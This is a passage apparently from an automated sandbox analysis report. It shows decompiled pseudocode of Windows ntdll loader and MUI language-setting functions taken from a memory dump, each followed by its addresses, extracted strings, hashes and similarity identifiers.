					_v8 = _t280;
				}
				if(E04671B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E04671B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E04671B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L04684620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E046AF3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E046B1370(_t276, 0x4644e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E046ABB40(0,  &_v68, _t170);
									if(L046743C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E046ABB40(_t257,  &_v68, _t243);
								if(L046743C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E046B1370(_t278, 0x4644e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L04684620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E046AF3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E046B1370(_v16, 0x4644e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E046ABB40(_t262,  &_v68, _t244);
								if(L046743C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E046B1370(_t282, 0x4644e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E046ABB40(_t262,  &_v68, _t201);
							if(L046743C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L04684620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E046AF3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E046B1370(_t280, 0x4644e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E046ABB40(_t267,  &_v68, _t245);
							if(L046743C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E046B1370(_t284, 0x4644e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E046ABB40(_t267,  &_v68, _t224);
						if(L046743C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x04673d3c
0x04673d42
0x04673d44
0x04673d46
0x04673d49
0x04673d4c
0x04673d4f
0x04673d52
0x04673d55
0x04673d58
0x04673d5b
0x04673d5f
0x04673d61
0x04673d66
0x046c8213
0x046c8218
0x04674085
0x04674088
0x0467408e
0x04674094
0x0467409a
0x046740a0
0x046740a6
0x046740a9
0x046740af
0x046740b6
0x046740bd
0x046740bd
0x04673d83
0x046c821f
0x046c8229
0x046c8238
0x046c8238
0x046c823d
0x046c823d
0x04673da0
0x04673daf
0x04673db5
0x04673dba
0x04673dba
0x04673dd4
0x04673e94
0x04673eab
0x04673f6d
0x04673f84
0x0467406b
0x0467406b
0x0467406e
0x0467406e
0x04674070
0x04674074
0x046c8351
0x046c8351
0x0467407a
0x0467407f
0x046c835d
0x046c8370
0x046c8377
0x046c8379
0x046c837c
0x046c837c
0x046c835d
0x00000000
0x0467407f
0x04673f8a
0x04673f8d
0x04673f90
0x04673f95
0x046c830d
0x046c830f
0x04673f9b
0x04673fac
0x04673fae
0x04673fb1
0x04673fb1
0x04673fb6
0x046c8317
0x046c831a
0x00000000
0x04673fbc
0x04673fc1
0x04673fc9
0x04673fd7
0x04673fda
0x04673fdd
0x04674021
0x04674021
0x04674029
0x04674030
0x04674044
0x04674046
0x04674046
0x04674044
0x04674049
0x046c8327
0x046c8334
0x046c8339
0x046c833c
0x0467404f
0x0467404f
0x0467404f
0x04674051
0x04674056
0x04674063
0x04674063
0x04674068
0x00000000
0x04674068
0x04673fdf
0x04673fe2
0x04673fe4
0x04673fe7
0x04673fef
0x04674003
0x04674005
0x04674005
0x0467400c
0x04674013
0x04674016
0x04674017
0x0467401b
0x0467401e
0x00000000
0x0467401e
0x04673fb6
0x04673eb1
0x04673eb4
0x04673eb7
0x04673ebc
0x046c82a9
0x046c82ab
0x04673ec2
0x04673ed3
0x04673ed5
0x04673ed8
0x04673ed8
0x04673edd
0x046c82b3
0x046c82b6
0x00000000
0x04673ee3
0x04673ee8
0x04673eed
0x04673ef0
0x04673ef3
0x04673f02
0x04673f05
0x04673f08
0x046c82c0
0x046c82c3
0x046c82c5
0x046c82c8
0x046c82d0
0x046c82e4
0x046c82e6
0x046c82e6
0x046c82ed
0x046c82f4
0x046c82f7
0x046c82f8
0x046c82fc
0x046c82ff
0x046c82ff
0x04673f0e
0x04673f11
0x04673f16
0x04673f1d
0x04673f31
0x046c8307
0x046c8307
0x04673f31
0x04673f39
0x04673f48
0x04673f4d
0x04673f50
0x04673f50
0x04673f53
0x04673f58
0x04673f65
0x04673f65
0x04673f6a
0x00000000
0x04673f6a
0x04673edd
0x04673dda
0x04673ddd
0x04673de0
0x04673de5
0x046c8245
0x04673deb
0x04673df7
0x04673dfc
0x04673dfe
0x04673e01
0x04673e01
0x04673e06
0x046c824d
0x046c824f
0x046c8254
0x00000000
0x04673e0c
0x04673e11
0x04673e16
0x04673e19
0x04673e29
0x04673e2c
0x04673e2f
0x046c825c
0x046c825f
0x046c8261
0x046c8264
0x046c826c
0x046c8280
0x046c8282
0x046c8282
0x046c8289
0x046c8290
0x046c8293
0x046c8294
0x046c8298
0x046c829b
0x046c829b
0x04673e35
0x04673e38
0x04673e3d
0x04673e44
0x04673e58
0x046c82a3
0x046c82a3
0x04673e58
0x04673e60
0x04673e6f
0x04673e74
0x04673e77
0x04673e77
0x04673e7a
0x04673e7f
0x04673e8c
0x04673e8c
0x04673e91
0x00000000
0x04673e91

Strings

Kernel-MUI-Language-SKU, xrefs: 04673F70
Kernel-MUI-Language-Disallowed, xrefs: 04673E97
Kernel-MUI-Number-Allowed, xrefs: 04673D8C
Kernel-MUI-Language-Allowed, xrefs: 04673DC0
WindowsExcludedProcs, xrefs: 04673D6F

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: d9177e3cc75d6669fecf35b89b544254208f91becf4edac9a75007fd1d9e5765
Instruction ID: 6d3b5ddbd04079286440a38b2a5cf12b81dc41174487d60fcc65d53f0cf3fb9b
Opcode Fuzzy Hash: d9177e3cc75d6669fecf35b89b544254208f91becf4edac9a75007fd1d9e5765
Instruction Fuzzy Hash: 94F14B72D00619EFDB11DF98C984AEEBBB9FF48650F14016AE905A7310FB74AE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04698E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E04698E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x475d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x4758464; // 0x75150110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x4755780 & 0x00000003) != 0) {
							E046E5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x4755780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E046AB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x4757984; // 0x26e2af0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x4758464; // 0x75150110
					 *0x475b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E04699B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x4755780 & 0x00000005) != 0) {
						_push(_t49);
						E046E5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x04698e0f
0x04698e16
0x04698e19
0x04698e1b
0x04698e21
0x04698e7f
0x04698e85
0x046d9354
0x046d936c
0x046d9371
0x046d937b
0x046d9381
0x046d9381
0x046d937b
0x04698e9d
0x04698e9d
0x04698e29
0x04698e2c
0x04698e38
0x04698e3e
0x04698e43
0x04698eb5
0x04698eb9
0x046d92aa
0x046d92af
0x046d92e8
0x046d92e8
0x046d92af
0x04698eb9
0x04698e45
0x04698e53
0x04698e5b
0x04698e5f
0x04698e78
0x04698e78
0x04698e7d
0x04698ec3
0x04698ecd
0x04698ed2
0x04698ed2
0x04698ec5
0x04698ec5
0x00000000
0x04698e7d
0x04698e67
0x04698ea4
0x046d931a
0x00000000
0x00000000
0x046d9320
0x04698ea4
0x04698e70
0x046d9325
0x046d9340
0x046d9345
0x046d9345
0x04698e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 046D933B, 046D9367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 046D932A
Querying the active activation context failed with status 0x%08lx, xrefs: 046D9357
LdrpFindDllActivationContext, xrefs: 046D9331, 046D935D

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 098973d4ecd7afd8e9ad62caa38ab82fbdfa5fc477976c230b05b75e39f1dab3
Instruction ID: f59b33532209edbceb4289aa387bb36de120cb37ab8016bde2d9f0cd6928dc08
Opcode Fuzzy Hash: 098973d4ecd7afd8e9ad62caa38ab82fbdfa5fc477976c230b05b75e39f1dab3
Instruction Fuzzy Hash: 3A411732A20317AFDF34BE14C868A7577ECFB52318F068169E90457291F7F4BC808681

Uniqueness

Uniqueness Score: -1.00%

Function 04678794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04678794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E0467934A() != 0) {
								_t159 = E046EA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x4755780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E046E5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x4755780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E0467849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E04678999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E04678999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x4755c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x4755c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E04682280(_t92, 0x47586cc);
															_t94 = E04739DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E046961A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x4755c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E04678A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x4755c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x4755c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E046AF380(_t136, 0x4641184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E04682280(_t108, 0x47586cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E046961A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E04739D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E0467FFB0(_t118, _t156, 0x47586cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E046A9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x04678799
0x0467879d
0x046787a1
0x046787a3
0x046787a8
0x046787c3
0x046787c3
0x046787c8
0x046787d1
0x046787d4
0x046787d8
0x046787e5
0x046787ec
0x046c9bfe
0x046c9c00
0x046c9c02
0x046c9c08
0x046c9c0d
0x046c9c0f
0x046c9c14
0x046c9c2d
0x046c9c32
0x046c9c37
0x046c9c3a
0x046c9c3c
0x046c9c42
0x046c9c42
0x046c9c3c
0x046c9c02
0x046787da
0x046787df
0x046787e3
0x00000000
0x00000000
0x046787e3
0x046787f2
0x00000000
0x046787fb
0x046787fd
0x046787fe
0x0467880e
0x0467880f
0x04678810
0x04678814
0x0467881a
0x0467881c
0x0467881f
0x04678821
0x04678822
0x04678824
0x04678826
0x0467882c
0x0467882e
0x046c9c48
0x046c9c48
0x04678834
0x04678834
0x04678837
0x00000000
0x00000000
0x04678837
0x0467882e
0x0467883d
0x04678840
0x04678843
0x04678846
0x04678849
0x0467884c
0x0467884e
0x04678850
0x04678852
0x04678854
0x04678857
0x046788b4
0x046788b6
0x046788b6
0x04678859
0x04678859
0x04678859
0x04678861
0x04678866
0x0467886a
0x0467893d
0x04678941
0x00000000
0x04678947
0x04678947
0x0467894a
0x0467894c
0x00000000
0x04678952
0x04678955
0x0467895a
0x0467895d
0x0467895d
0x0467895f
0x04678961
0x04678961
0x04678968
0x00000000
0x00000000
0x0467896a
0x0467896b
0x0467896e
0x00000000
0x04678970
0x04678970
0x04678970
0x04678970
0x04678972
0x04678972
0x04678974
0x00000000
0x0467897a
0x0467897a
0x0467897d
0x00000000
0x04678983
0x046c9c65
0x046c9c6d
0x046c9c72
0x046c9c75
0x046c9c75
0x046c9c82
0x046c9c86
0x046c9c87
0x046c9c88
0x046c9c89
0x046c9c8c
0x046c9c90
0x046c9c95
0x046c9c97
0x046c9ca0
0x046c9ca3
0x046c9ca9
0x046c9ca9
0x00000000
0x046c9ca9
0x046c9ca3
0x00000000
0x046c9c97
0x0467897d
0x00000000
0x04678974
0x04678988
0x04678992
0x04678996
0x00000000
0x04678996
0x0467894c
0x00000000
0x04678870
0x0467887b
0x0467887d
0x0467887f
0x04678881
0x04678884
0x04678884
0x04678886
0x04678889
0x0467888c
0x0467888e
0x04678891
0x04678891
0x04678898
0x00000000
0x00000000
0x0467889a
0x0467889b
0x0467889e
0x00000000
0x00000000
0x046788a0
0x046788a8
0x046788b0
0x046788b2
0x046788d3
0x046788d5
0x00000000
0x046788d7
0x046788db
0x046788dc
0x046788e0
0x046788e8
0x046788ee
0x046788f0
0x046788f3
0x046788fc
0x04678901
0x04678906
0x0467890c
0x0467890c
0x0467890f
0x04678916
0x04678917
0x04678918
0x04678919
0x0467891a
0x0467891f
0x04678921
0x046c9c52
0x046c9c55
0x046c9c5b
0x046c9cac
0x046c9cc0
0x046c9cc0
0x046c9c55
0x04678927
0x04678927
0x0467892f
0x04678933
0x00000000
0x046788f5
0x046788f5
0x00000000
0x046788f7
0x046788f7
0x046788fa
0x00000000
0x00000000
0x00000000
0x00000000
0x046788fa
0x046788f5
0x046788f3
0x00000000
0x046788d5
0x00000000
0x046788b2
0x046788c9
0x00000000
0x046788c9
0x0467887f
0x0467886a
0x04678857
0x04678852
0x046788bf
0x046788bf
0x046787aa
0x046787ad
0x046787ae
0x046787b4
0x046787b5
0x046787b6
0x046787b8
0x046787bd
0x046787c1
0x046787f4
0x046787fa
0x00000000
0x00000000
0x00000000
0x046787c1
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 046C9C28
LdrpDoPostSnapWork, xrefs: 046C9C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 046C9C18

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: abfc5aafea63eb426065879258d2371ac64d29fdaa79237ec3133cf6a531632f
Instruction ID: cdca3a020e9bbd5a4baeb58a8756e6c846da46ce55b3d0b135c2608497d3e8ca
Opcode Fuzzy Hash: abfc5aafea63eb426065879258d2371ac64d29fdaa79237ec3133cf6a531632f
Instruction Fuzzy Hash: B291EEB1A00206EFEF18EF59C488ABAB7B9FF54354B1441A9D905AB251FB70FD05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04677E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E04677E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E0467CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E0466C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x4755780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E046E5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x4755780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
